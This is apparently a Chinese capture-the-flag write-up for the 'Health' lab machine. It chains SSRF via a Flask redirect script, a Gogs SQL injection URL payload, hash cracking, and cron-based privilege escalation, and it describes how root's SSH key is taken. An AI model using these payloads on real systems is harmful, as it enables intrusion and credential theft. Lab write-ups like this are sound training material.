Health
Health 是一台中型 Linux 计算机,在主网页上存在 SSRF 漏洞,可利用该漏洞访问仅在 localhost 上可用的服务。更具体地说,Gogs 实例只能通过 localhost 访问,并且此特定版本容易受到 SQL 注入攻击。由于攻击者可以与 Gogs 实例交互的方式,在这种情况下,最好的方法是通过在本地计算机上安装相同的 Gogs 版本,然后使用自动化工具生成有效的有效负载来复制远程环境。在检索用户“susanne”的哈希密码后,攻击者能够破解哈希并泄露该用户的纯文本密码。可以使用相同的凭据通过 SSH 向远程计算机进行身份验证。权限提升依赖于在用户“root”下运行的 cron 作业。这些 cron 作业与主 Web 应用程序的功能相关,并处理数据库中未经筛选的数据。因此,攻击者能够在数据库中注入恶意任务并泄露用户“root”的 SSH 密钥文件,从而允许他在远程计算机上获得 root 会话。
外部信息收集
端口扫描
循例nmap
Web枚举
看起来就觉得可能存在SSRF,扫一下vhost
还有过滤
test
监听url会有一个get请求,当我断开nc之后,payload url又来了一个post
本地起个http server,当监听url访问过来的时候重定向到localhost
from flask import Flask, redirectapp = Flask(__name__)@app.route('/')
def index():return redirect('http://127.0.0.1')if __name__ == '__main__':app.run(host="0.0.0.0", port=8001)
这里一定要是always,否则payload url可能收不到post请求
可以看到响应,说明重定向成功了
接下来就可以爆破端口,找到内网的服务,为了方便直接wp跳过这些无聊的环节
3000端口有一个gogs
Foothold
谷歌能找到该版本似乎存在sql injection
poc:
http://127.0.0.1:3000/api/v1/users/search?q=')%09union%09all%09select%091,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27%09--%09-
查数据
得到susanne的密码hash
在谷歌中能搜到gogs使用PBKDF2 + hmac + sha256
https://github.com/kxcode/KrackerGo/tree/master
这里也描述了如何利用它
将16进制转回去如何base64
将salt base64
hashcat
不出意外我们能够通过这种凭据登录ssh
本地权限提升
传个pspy
2024/01/17 15:29:01 CMD: UID=0 PID=4350 | /bin/bash -c cd /var/www/html && php artisan schedule:run >> /dev/null 2>&1
2024/01/17 15:29:01 CMD: UID=0 PID=4351 | sleep 5
2024/01/17 15:29:01 CMD: UID=??? PID=4354 | ???
2024/01/17 15:29:01 CMD: UID=0 PID=4352 |
2024/01/17 15:29:01 CMD: UID=0 PID=4357 | grep columns
2024/01/17 15:29:01 CMD: UID=??? PID=4356 | ???
2024/01/17 15:29:01 CMD: UID=0 PID=4355 | sh -c stty -a | grep columns
2024/01/17 15:29:06 CMD: UID=0 PID=4358 | mysql laravel --execute TRUNCATE tasks
从artisan跟到app/Console/Kernel.php
protected function schedule(Schedule $schedule){/* Get all tasks from the database */$tasks = Task::all();foreach ($tasks as $task) {$frequency = $task->frequency;$schedule->call(function () use ($task) {/* Run your task here */HealthChecker::check($task->webhookUrl, $task->monitoredUrl, $task->onlyError);Log::info($task->id . ' ' . \Carbon\Carbon::now());})->cron($frequency);
同时,在网站根目录下的.env文件中也包含了mysql的凭据
进到mysql后有个tasks空表,desc
应该就是之前的web,直接读root ssh key然后返回到我们的payload url
nc
sed将\n转义和去除多余的\
登root的ssh
其实也可以直接在tasks里读root flag